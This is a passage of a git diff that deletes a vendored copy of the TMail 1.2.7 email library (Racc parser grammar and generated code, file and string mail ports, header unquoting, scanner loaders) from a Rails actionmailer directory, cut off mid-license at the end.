- Address.new( val[0], nil )
-  end
-.,.,
-
- # reduce 69 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 210
-  def _reduce_70( val, _values)
- val[0].push ''; val[0]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 213
-  def _reduce_71( val, _values)
- val
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 222
-  def _reduce_72( val, _values)
-                  val[1].times do
-                    val[0].push ''
-                  end
-                  val[0].push val[2]
-                  val[0]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 224
-  def _reduce_73( val, _values)
- val
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 233
-  def _reduce_74( val, _values)
-                  val[1].times do
-                    val[0].push ''
-                  end
-                  val[0].push val[2]
-                  val[0]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 234
-  def _reduce_75( val, _values)
- 0
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 235
-  def _reduce_76( val, _values)
- val[0] + 1
-  end
-.,.,
-
- # reduce 77 omitted
-
- # reduce 78 omitted
-
- # reduce 79 omitted
-
- # reduce 80 omitted
-
- # reduce 81 omitted
-
- # reduce 82 omitted
-
- # reduce 83 omitted
-
- # reduce 84 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 253
-  def _reduce_85( val, _values)
-                  val[1] = val[1].spec
-                  val.join('')
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 254
-  def _reduce_86( val, _values)
- val
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 255
-  def _reduce_87( val, _values)
- val[0].push val[2]; val[0]
-  end
-.,.,
-
- # reduce 88 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 258
-  def _reduce_89( val, _values)
- val[0] << ' ' << val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 265
-  def _reduce_90( val, _values)
-                  val.push nil
-                  val
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 269
-  def _reduce_91( val, _values)
-                  val
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 274
-  def _reduce_92( val, _values)
-                  [ val[0].to_i, val[2].to_i ]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 279
-  def _reduce_93( val, _values)
-                  [ val[0].downcase, val[2].downcase, decode_params(val[3]) ]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 283
-  def _reduce_94( val, _values)
-                  [ val[0].downcase, nil, decode_params(val[1]) ]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 288
-  def _reduce_95( val, _values)
-                  {}
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 293
-  def _reduce_96( val, _values)
-                  val[0][ val[2].downcase ] = ('"' + val[4].to_s + '"')
-                  val[0]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 298
-  def _reduce_97( val, _values)
-                  val[0][ val[2].downcase ] = val[4]
-                  val[0]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 303
-  def _reduce_98( val, _values)
-                  val[0].downcase
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 308
-  def _reduce_99( val, _values)
-                  [ val[0].downcase, decode_params(val[1]) ]
-  end
-.,.,
-
- # reduce 100 omitted
-
- # reduce 101 omitted
-
- # reduce 102 omitted
-
- # reduce 103 omitted
-
- # reduce 104 omitted
-
- # reduce 105 omitted
-
- # reduce 106 omitted
-
- # reduce 107 omitted
-
- # reduce 108 omitted
-
- def _reduce_none( val, _values)
-  val[0]
- end
-
-  end   # class Parser
-
-end   # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.y b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.y
deleted file mode 100644
index 7c1873ce..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.y
+++ /dev/null
@@ -1,416 +0,0 @@
-#
-# parser.y
-#
-# Copyright (c) 1998-2007 Minero Aoki
-#
-# This program is free software.
-# You can distribute/modify this program under the terms of
-# the GNU Lesser General Public License version 2.1.
-#
-
-class TMail::Parser
-
-  options no_result_var
-
-rule
-
-  content   : DATETIME      datetime   { val[1] }
-            | RECEIVED      received   { val[1] }
-            | MADDRESS      addrs_TOP  { val[1] }
-            | RETPATH       retpath    { val[1] }
-            | KEYWORDS      keys       { val[1] }
-            | ENCRYPTED     enc        { val[1] }
-            | MIMEVERSION   version    { val[1] }
-            | CTYPE         ctype      { val[1] }
-            | CENCODING     cencode    { val[1] }
-            | CDISPOSITION  cdisp      { val[1] }
-            | ADDRESS       addr_TOP   { val[1] }
-            | MAILBOX       mbox       { val[1] }
-  
-  datetime  : day DIGIT ATOM DIGIT hour zone
-            # 0   1     2    3     4    5
-            #     date month year
-                {
-                  t = Time.gm(val[3].to_i, val[2], val[1].to_i, 0, 0, 0)
-                  (t + val[4] - val[5]).localtime
-                }
-  
-  day       :  /* none */
-            | ATOM ','
-  
-  hour      : DIGIT ':' DIGIT
-                {
-                  (val[0].to_i * 60 * 60) +
-                  (val[2].to_i * 60)
-                }
-            | DIGIT ':' DIGIT ':' DIGIT
-                {
-                  (val[0].to_i * 60 * 60) +
-                  (val[2].to_i * 60) +
-                  (val[4].to_i)
-                }
-  
-  zone      : ATOM
-                {
-                  timezone_string_to_unixtime(val[0])
-                }
-  
-  received  : from by via with id for received_datetime
-                {
-                  val
-                }
-  
-  from      : /* none */
-            | FROM received_domain
-                {
-                  val[1]
-                }
-  
-  by        :  /* none */
-            | BY received_domain
-                {
-                  val[1]
-                }
-  
-  received_domain
-            : domain
-                {
-                  join_domain(val[0])
-                }
-            | domain '@' domain
-                {
-                  join_domain(val[2])
-                }
-            | domain DOMLIT
-                {
-                  join_domain(val[0])
-                }
-  
-  via       :  /* none */
-            | VIA ATOM
-                {
-                  val[1]
-                }
-  
-  with      : /* none */
-                {
-                  []
-                }
-            | with WITH ATOM
-                {
-                  val[0].push val[2]
-                  val[0]
-                }
-  
-  id        :  /* none */
-            | ID msgid
-                {
-                  val[1]
-                }
-            | ID ATOM
-                {
-                  val[1]
-                }
-  
-  for       :  /* none */
-            | FOR received_addrspec
-                {
-                  val[1]
-                }
-
-  received_addrspec
-            : routeaddr
-                {
-                  val[0].spec
-                }
-            | spec
-                {
-                  val[0].spec
-                }
-  
-  received_datetime
-            :  /* none */
-            | ';' datetime
-                {
-                  val[1]
-                }
-  
-  addrs_TOP : addrs
-            | group_bare
-            | addrs commas group_bare
-
-  addr_TOP  : mbox
-            | group
-            | group_bare
-
-  retpath   : addrs_TOP
-            | '<' '>' { [ Address.new(nil, nil) ] }
-
-  addrs     : addr
-                {
-                  val
-                }
-            | addrs commas addr
-                {
-                  val[0].push val[2]
-                  val[0]
-                }
-
-  addr      : mbox
-            | group
-
-  mboxes    : mbox
-                {
-                  val
-                }
-            | mboxes commas mbox
-                {
-                  val[0].push val[2]
-                  val[0]
-                }
-
-  mbox      : spec
-            | routeaddr
-            | addr_phrase routeaddr
-                {
-                  val[1].phrase = Decoder.decode(val[0])
-                  val[1]
-                }
-
-  group     : group_bare ';'
-
-  group_bare: addr_phrase ':' mboxes
-                {
-                  AddressGroup.new(val[0], val[2])
-                }
-            | addr_phrase ':' { AddressGroup.new(val[0], []) }
-  
-  addr_phrase
-            : local_head             { val[0].join('.') }
-            | addr_phrase local_head { val[0] << ' ' << val[1].join('.') }
-
-  routeaddr : '<' routes spec '>'
-                {
-                  val[2].routes.replace val[1]
-                  val[2]
-                }
-            | '<' spec '>'
-                {
-                  val[1]
-                }
-  
-  routes    : at_domains ':'
-  
-  at_domains: '@' domain                { [ val[1].join('.') ] }
-            | at_domains ',' '@' domain { val[0].push val[3].join('.'); val[0] }
-  
-  spec      : local '@' domain { Address.new( val[0], val[2] ) }
-            | local            { Address.new( val[0], nil ) }
-  
-  local: local_head
-       | local_head '.' { val[0].push ''; val[0] }
-
-  local_head: word
-                { val }
-            | local_head dots word
-                {
-                  val[1].times do
-                    val[0].push ''
-                  end
-                  val[0].push val[2]
-                  val[0]
-                }
-  
-  domain    : domword
-                { val }
-            | domain dots domword
-                {
-                  val[1].times do
-                    val[0].push ''
-                  end
-                  val[0].push val[2]
-                  val[0]
-                }
-
-  dots      : '.'      { 0 }
-            | dots '.' { val[0] + 1 }
-
-  word      : atom
-            | QUOTED
-            | DIGIT
-
-  domword   : atom
-            | DOMLIT
-            | DIGIT
-
-  commas    : ','
-            | commas ','
-
-  msgid     : '<' spec '>'
-                {
-                  val[1] = val[1].spec
-                  val.join('')
-                }
-
-  keys      : phrase          { val }
-            | keys ',' phrase { val[0].push val[2]; val[0] }
-  
-  phrase    : word
-            | phrase word { val[0] << ' ' << val[1] }
-  
-  enc       : word
-                {
-                  val.push nil
-                  val
-                }
-            | word word
-                {
-                  val
-                }
-
-  version   : DIGIT '.' DIGIT
-                {
-                  [ val[0].to_i, val[2].to_i ]
-                }
-
-  ctype     : TOKEN '/' TOKEN params opt_semicolon
-                {
-                  [ val[0].downcase, val[2].downcase, decode_params(val[3]) ]
-                }
-            | TOKEN params opt_semicolon
-                {
-                  [ val[0].downcase, nil, decode_params(val[1]) ]
-                }
-  
-  params    : /* none */
-                {
-                  {}
-                }
-            | params ';' TOKEN '=' QUOTED
-                {
-                  val[0][ val[2].downcase ] = ('"' + val[4].to_s + '"')
-                  val[0]
-                }
-            | params ';' TOKEN '=' TOKEN
-                {
-                  val[0][ val[2].downcase ] = val[4]
-                  val[0]
-                }
-
-  cencode   : TOKEN
-                {
-                  val[0].downcase
-                }
-
-  cdisp     : TOKEN params opt_semicolon
-                {
-                  [ val[0].downcase, decode_params(val[1]) ]
-                }
-  
-  opt_semicolon
-            :
-            | ';'
-              
-  atom      : ATOM
-            | FROM
-            | BY
-            | VIA
-            | WITH
-            | ID
-            | FOR
-  
-end
-
-
----- header
-#
-# parser.rb
-#
-# Copyright (c) 1998-2007 Minero Aoki
-#
-# This program is free software.
-# You can distribute/modify this program under the terms of
-# the GNU Lesser General Public License version 2.1.
-#
-
-require 'tmail/scanner'
-require 'tmail/utils'
-
----- inner
-
-  include TextUtils
-
-  def self.parse( ident, str, cmt = nil )
-    str = special_quote_address(str) if ident.to_s =~ /M?ADDRESS/
-    new.parse(ident, str, cmt)
-  end
-
-  def self.special_quote_address(str) #:nodoc:
-    # Takes a string which is an address and adds quotation marks to special
-    # edge case methods that the RACC parser can not handle.
-    #
-    # Right now just handles two edge cases:
-    #
-    # Full stop as the last character of the display name:
-    #   Mikel L. <mikel@me.com>
-    # Returns:
-    #   "Mikel L." <mikel@me.com>
-    #
-    # Unquoted @ symbol in the display name:
-    #   mikel@me.com <mikel@me.com>
-    # Returns:
-    #   "mikel@me.com" <mikel@me.com>
-    #
-    # Any other address not matching these patterns just gets returned as is.
-    case
-    # This handles the missing "" in an older version of Apple Mail.app
-    # around the display name when the display name contains a '@'
-    # like 'mikel@me.com <mikel@me.com>'
-    # Just quotes it to: '"mikel@me.com" <mikel@me.com>'
-    when str =~ /\A([^"].+@.+[^"])\s(<.*?>)\Z/
-      return "\"#{$1}\" #{$2}"
-    # This handles cases where 'Mikel A. <mikel@me.com>' which is a trailing
-    # full stop before the address section.  Just quotes it to
-    # '"Mikel A." <mikel@me.com>'
-    when str =~ /\A(.*?\.)\s(<.*?>)\s*\Z/
-      return "\"#{$1}\" #{$2}"
-    else
-      str
-    end
-  end
-
-  MAILP_DEBUG = false
-
-  def initialize
-    self.debug = MAILP_DEBUG
-  end
-
-  def debug=( flag )
-    @yydebug = flag && Racc_debug_parser
-    @scanner_debug = flag
-  end
-
-  def debug
-    @yydebug
-  end
-
-  def parse( ident, str, comments = nil )
-    @scanner = Scanner.new(str, ident, comments)
-    @scanner.debug = @scanner_debug
-    @first = [ident, ident]
-    result = yyparse(self, :parse_in)
-    comments.map! {|c| to_kcode(c) } if comments
-    result
-  end
-
-  private
-
-  def parse_in( &block )
-    yield @first
-    @scanner.scan(&block)
-  end
-  
-  def on_error( t, val, vstack )
-    raise TMail::SyntaxError, "parse error on token #{racc_token2str t}"
-  end
-
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/port.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/port.rb
deleted file mode 100644
index 445f0e63..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/port.rb
+++ /dev/null
@@ -1,379 +0,0 @@
-=begin rdoc
-
-= Port class
-
-=end
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-require 'tmail/stringio'
-
-
-module TMail
-
-  class Port
-    def reproducible?
-      false
-    end
-  end
-
-
-  ###
-  ### FilePort
-  ###
-
-  class FilePort < Port
-
-    def initialize( fname )
-      @filename = File.expand_path(fname)
-      super()
-    end
-
-    attr_reader :filename
-
-    alias ident filename
-
-    def ==( other )
-      other.respond_to?(:filename) and @filename == other.filename
-    end
-
-    alias eql? ==
-
-    def hash
-      @filename.hash
-    end
-
-    def inspect
-      "#<#{self.class}:#{@filename}>"
-    end
-
-    def reproducible?
-      true
-    end
-
-    def size
-      File.size @filename
-    end
-
-
-    def ropen( &block )
-      File.open(@filename, &block)
-    end
-
-    def wopen( &block )
-      File.open(@filename, 'w', &block)
-    end
-
-    def aopen( &block )
-      File.open(@filename, 'a', &block)
-    end
-
-
-    def read_all
-      ropen {|f|
-          return f.read
-      }
-    end
-
-
-    def remove
-      File.unlink @filename
-    end
-
-    def move_to( port )
-      begin
-        File.link @filename, port.filename
-      rescue Errno::EXDEV
-        copy_to port
-      end
-      File.unlink @filename
-    end
-
-    alias mv move_to
-
-    def copy_to( port )
-      if FilePort === port
-        copy_file @filename, port.filename
-      else
-        File.open(@filename) {|r|
-        port.wopen {|w|
-            while s = r.sysread(4096)
-              w.write << s
-            end
-        } }
-      end
-    end
-
-    alias cp copy_to
-
-    private
-
-    # from fileutils.rb
-    def copy_file( src, dest )
-      st = r = w = nil
-
-      File.open(src,  'rb') {|r|
-      File.open(dest, 'wb') {|w|
-          st = r.stat
-          begin
-            while true
-              w.write r.sysread(st.blksize)
-            end
-          rescue EOFError
-          end
-      } }
-    end
-
-  end
-
-
-  module MailFlags
-
-    def seen=( b )
-      set_status 'S', b
-    end
-
-    def seen?
-      get_status 'S'
-    end
-
-    def replied=( b )
-      set_status 'R', b
-    end
-
-    def replied?
-      get_status 'R'
-    end
-
-    def flagged=( b )
-      set_status 'F', b
-    end
-
-    def flagged?
-      get_status 'F'
-    end
-
-    private
-
-    def procinfostr( str, tag, true_p )
-      a = str.upcase.split(//)
-      a.push true_p ? tag : nil
-      a.delete tag unless true_p
-      a.compact.sort.join('').squeeze
-    end
-  
-  end
-
-
-  class MhPort < FilePort
-
-    include MailFlags
-
-    private
-    
-    def set_status( tag, flag )
-      begin
-        tmpfile = @filename + '.tmailtmp.' + $$.to_s
-        File.open(tmpfile, 'w') {|f|
-          write_status f, tag, flag
-        }
-        File.unlink @filename
-        File.link tmpfile, @filename
-      ensure
-        File.unlink tmpfile
-      end
-    end
-
-    def write_status( f, tag, flag )
-      stat = ''
-      File.open(@filename) {|r|
-        while line = r.gets
-          if line.strip.empty?
-            break
-          elsif m = /\AX-TMail-Status:/i.match(line)
-            stat = m.post_match.strip
-          else
-            f.print line
-          end
-        end
-
-        s = procinfostr(stat, tag, flag)
-        f.puts 'X-TMail-Status: ' + s unless s.empty?
-        f.puts
-
-        while s = r.read(2048)
-          f.write s
-        end
-      }
-    end
-
-    def get_status( tag )
-      File.foreach(@filename) {|line|
-        return false if line.strip.empty?
-        if m = /\AX-TMail-Status:/i.match(line)
-          return m.post_match.strip.include?(tag[0])
-        end
-      }
-      false
-    end
-  
-  end
-
-
-  class MaildirPort < FilePort
-
-    def move_to_new
-      new = replace_dir(@filename, 'new')
-      File.rename @filename, new
-      @filename = new
-    end
-
-    def move_to_cur
-      new = replace_dir(@filename, 'cur')
-      File.rename @filename, new
-      @filename = new
-    end
-
-    def replace_dir( path, dir )
-      "#{File.dirname File.dirname(path)}/#{dir}/#{File.basename path}"
-    end
-    private :replace_dir
-
-
-    include MailFlags
-
-    private
-
-    MAIL_FILE = /\A(\d+\.[\d_]+\.[^:]+)(?:\:(\d),(\w+)?)?\z/
-
-    def set_status( tag, flag )
-      if m = MAIL_FILE.match(File.basename(@filename))
-        s, uniq, type, info, = m.to_a
-        return if type and type != '2'  # do not change anything
-        newname = File.dirname(@filename) + '/' +
-                  uniq + ':2,' + procinfostr(info.to_s, tag, flag)
-      else
-        newname = @filename + ':2,' + tag
-      end
-
-      File.link @filename, newname
-      File.unlink @filename
-      @filename = newname
-    end
-
-    def get_status( tag )
-      m = MAIL_FILE.match(File.basename(@filename)) or return false
-      m[2] == '2' and m[3].to_s.include?(tag[0])
-    end
-  
-  end
-
-
-  ###
-  ###  StringPort
-  ###
-
-  class StringPort < Port
-
-    def initialize( str = '' )
-      @buffer = str
-      super()
-    end
-
-    def string
-      @buffer
-    end
-
-    def to_s
-      @buffer.dup
-    end
-
-    alias read_all to_s
-
-    def size
-      @buffer.size
-    end
-
-    def ==( other )
-      StringPort === other and @buffer.equal? other.string
-    end
-
-    alias eql? ==
-
-    def hash
-      @buffer.object_id.hash
-    end
-
-    def inspect
-      "#<#{self.class}:id=#{sprintf '0x%x', @buffer.object_id}>"
-    end
-
-    def reproducible?
-      true
-    end
-
-    def ropen( &block )
-      @buffer or raise Errno::ENOENT, "#{inspect} is already removed"
-      StringInput.open(@buffer, &block)
-    end
-
-    def wopen( &block )
-      @buffer = ''
-      StringOutput.new(@buffer, &block)
-    end
-
-    def aopen( &block )
-      @buffer ||= ''
-      StringOutput.new(@buffer, &block)
-    end
-
-    def remove
-      @buffer = nil
-    end
-
-    alias rm remove
-
-    def copy_to( port )
-      port.wopen {|f|
-          f.write @buffer
-      }
-    end
-
-    alias cp copy_to
-
-    def move_to( port )
-      if StringPort === port
-        str = @buffer
-        port.instance_eval { @buffer = str }
-      else
-        copy_to port
-      end
-      remove
-    end
-
-  end
-
-end   # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/quoting.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/quoting.rb
deleted file mode 100644
index cd2ed540..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/quoting.rb
+++ /dev/null
@@ -1,164 +0,0 @@
-=begin rdoc
-
-= Quoting methods
-
-=end
-module TMail
-  class Mail
-    def subject(to_charset = 'utf-8')
-      Unquoter.unquote_and_convert_to(quoted_subject, to_charset)
-    end
-
-    def unquoted_body(to_charset = 'utf-8')
-      from_charset = charset
-      case (content_transfer_encoding || "7bit").downcase
-        when "quoted-printable"
-          # the default charset is set to iso-8859-1 instead of 'us-ascii'.
-          # This is needed as many mailer do not set the charset but send in ISO. This is only used if no charset is set.
-          if !from_charset.blank? && from_charset.downcase == 'us-ascii'
-            from_charset = 'iso-8859-1'
-          end
-
-          Unquoter.unquote_quoted_printable_and_convert_to(quoted_body,
-            to_charset, from_charset, true)
-        when "base64"
-          Unquoter.unquote_base64_and_convert_to(quoted_body, to_charset,
-            from_charset)
-        when "7bit", "8bit"
-          Unquoter.convert_to(quoted_body, to_charset, from_charset)
-        when "binary"
-          quoted_body
-        else
-          quoted_body
-      end
-    end
-
-    def body(to_charset = 'utf-8', &block)
-      attachment_presenter = block || Proc.new { |file_name| "Attachment: #{file_name}\n" }
-
-      if multipart?
-        parts.collect { |part|
-          header = part["content-type"]
-
-          if part.multipart?
-            part.body(to_charset, &attachment_presenter)
-          elsif header.nil?
-            ""
-          elsif !attachment?(part)
-            part.unquoted_body(to_charset)
-          else
-            attachment_presenter.call(header["name"] || "(unnamed)")
-          end
-        }.join
-      else
-        unquoted_body(to_charset)
-      end
-    end
-  end
-
-  class Attachment
-    
-    include TextUtils
-    
-    def quoted?(string)
-      !!((string =~ /.+'\w\w'.+/) || (string =~ /=\?.+\?.\?.+\?=/))
-    end
-    
-    # Only unquote if quoted
-    def original_filename(to_charset = 'utf-8')
-      if quoted?(quoted_filename)
-        Unquoter.unquote_and_convert_to(quoted_filename, to_charset).chomp
-      else
-        quoted_filename
-      end
-    end
-  end
-
-  class Unquoter
-    class << self
-      def unquote_and_convert_to(text, to_charset, from_charset = "iso-8859-1", preserve_underscores=false)
-        return "" if text.nil?
-        text.gsub!(/\?=(\s*)=\?/, '?==?') # Remove whitespaces between 'encoded-word's
-        text.gsub(/(.*?)(?:(?:=\?(.*?)\?(.)\?(.*?)\?=)|$)/) do
-          before = $1
-          from_charset = $2
-          quoting_method = $3
-          text = $4
-
-          before = convert_to(before, to_charset, from_charset) if before.length > 0
-          before + case quoting_method
-              when "q", "Q" then
-                unquote_quoted_printable_and_convert_to(text, to_charset, from_charset, preserve_underscores)
-              when "b", "B" then
-                unquote_base64_and_convert_to(text, to_charset, from_charset)
-              when nil then
-                # will be nil at the end of the string, due to the nature of
-                # the regex used.
-                ""
-              else
-                raise "unknown quoting method #{quoting_method.inspect}"
-            end
-        end
-      end
-
-      def convert_to_with_fallback_on_iso_8859_1(text, to, from)
-        return text if to == 'utf-8' and text.isutf8
-
-        if from.blank? and !text.is_binary_data?
-          from = CharDet.detect(text)['encoding']
-
-          # Chardet ususally detects iso-8859-2 (aka windows-1250), but the text is
-          # iso-8859-1 (aka windows-1252 and Latin1). http://en.wikipedia.org/wiki/ISO/IEC_8859-2
-          # This can cause unwanted characters, like ŕ instead of à.
-          # (I know, could be a very bad decision...)
-          from = 'iso-8859-1' if from =~ /iso-8859-2/i
-        end
-
-        begin
-          convert_to_without_fallback_on_iso_8859_1(text, to, from)
-        rescue Iconv::InvalidCharacter
-          unless from == 'iso-8859-1'
-            from = 'iso-8859-1'
-            retry
-          end
-        end
-      end
-
-      def unquote_quoted_printable_and_convert_to(text, to, from, preserve_underscores=false)
-        text = text.gsub(/_/, " ") unless preserve_underscores
-        text = text.gsub(/\r\n|\r/, "\n") # normalize newlines
-        convert_to(text.unpack("M*").first, to, from)
-      end
-
-      def unquote_base64_and_convert_to(text, to, from)
-        convert_to(Base64.decode(text), to, from)
-      end
-
-      begin
-        require 'iconv'
-        def convert_to(text, to, from)
-          return text unless to && from
-          text ? Iconv.iconv(to, from, text).first : ""
-        rescue Iconv::IllegalSequence, Iconv::InvalidEncoding, Errno::EINVAL
-          # the 'from' parameter specifies a charset other than what the text
-          # actually is...not much we can do in this case but just return the
-          # unconverted text.
-          #
-          # Ditto if either parameter represents an unknown charset, like
-          # X-UNKNOWN.
-          text
-        end
-      rescue LoadError
-        # Not providing quoting support
-        def convert_to(text, to, from)
-          warn "Action Mailer: iconv not loaded; ignoring conversion from #{from} to #{to} (#{__FILE__}:#{__LINE__})"
-          text
-        end
-      end
-      
-      alias_method :convert_to_without_fallback_on_iso_8859_1, :convert_to
-      alias_method :convert_to, :convert_to_with_fallback_on_iso_8859_1
-      
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/require_arch.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/require_arch.rb
deleted file mode 100644
index b4fffb8a..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/require_arch.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-#:stopdoc:
-require 'rbconfig'
-
-# Attempts to require anative extension.
-# Falls back to pure-ruby version, if it fails.
-#
-# This uses Config::CONFIG['arch'] from rbconfig.
-
-def require_arch(fname)
-  arch = Config::CONFIG['arch']
-  begin
-    path = File.join("tmail", arch, fname)
-    require path
-  rescue LoadError => e
-    # try pre-built Windows binaries
-    if arch =~ /mswin/
-      require File.join("tmail", 'mswin32', fname)
-    else
-      raise e
-    end
-  end
-end
-
-
-# def require_arch(fname)
-#   dext = Config::CONFIG['DLEXT']
-#   begin
-#     if File.extname(fname) == dext
-#       path = fname
-#     else
-#       path = File.join("tmail","#{fname}.#{dext}")
-#     end
-#     require path
-#   rescue LoadError => e
-#     begin
-#       arch = Config::CONFIG['arch']
-#       path = File.join("tmail", arch, "#{fname}.#{dext}")
-#       require path
-#     rescue LoadError
-#       case path
-#       when /i686/
-#         path.sub!('i686', 'i586')
-#       when /i586/
-#         path.sub!('i586', 'i486')
-#       when /i486/
-#         path.sub!('i486', 'i386')
-#       else
-#         begin
-#           require fname + '.rb'
-#         rescue LoadError
-#           raise e
-#         end
-#       end
-#       retry
-#     end
-#   end
-# end
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner.rb
deleted file mode 100644
index a5d01396..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-=begin rdoc
-
-= Scanner for TMail
-
-=end
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-#:stopdoc:
-#require 'tmail/require_arch'
-require 'tmail/utils'
-require 'tmail/config'
-
-module TMail
-  # NOTE: It woiuld be nice if these two libs could boith be called "tmailscanner", and
-  # the native extension would have precedence. However RubyGems boffs that up b/c
-  # it does not gaurantee load_path order.
-  begin
-    raise LoadError, 'Turned off native extentions by user choice' if ENV['NORUBYEXT']
-    require('tmail/tmailscanner') # c extension
-    Scanner = TMailScanner
-  rescue LoadError
-    require 'tmail/scanner_r'
-    Scanner = TMailScanner
-  end
-end
-#:stopdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner_r.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner_r.rb
deleted file mode 100644
index 5ed82560..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner_r.rb
+++ /dev/null
@@ -1,262 +0,0 @@
-# encoding: us-ascii
-# scanner_r.rb
-#
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
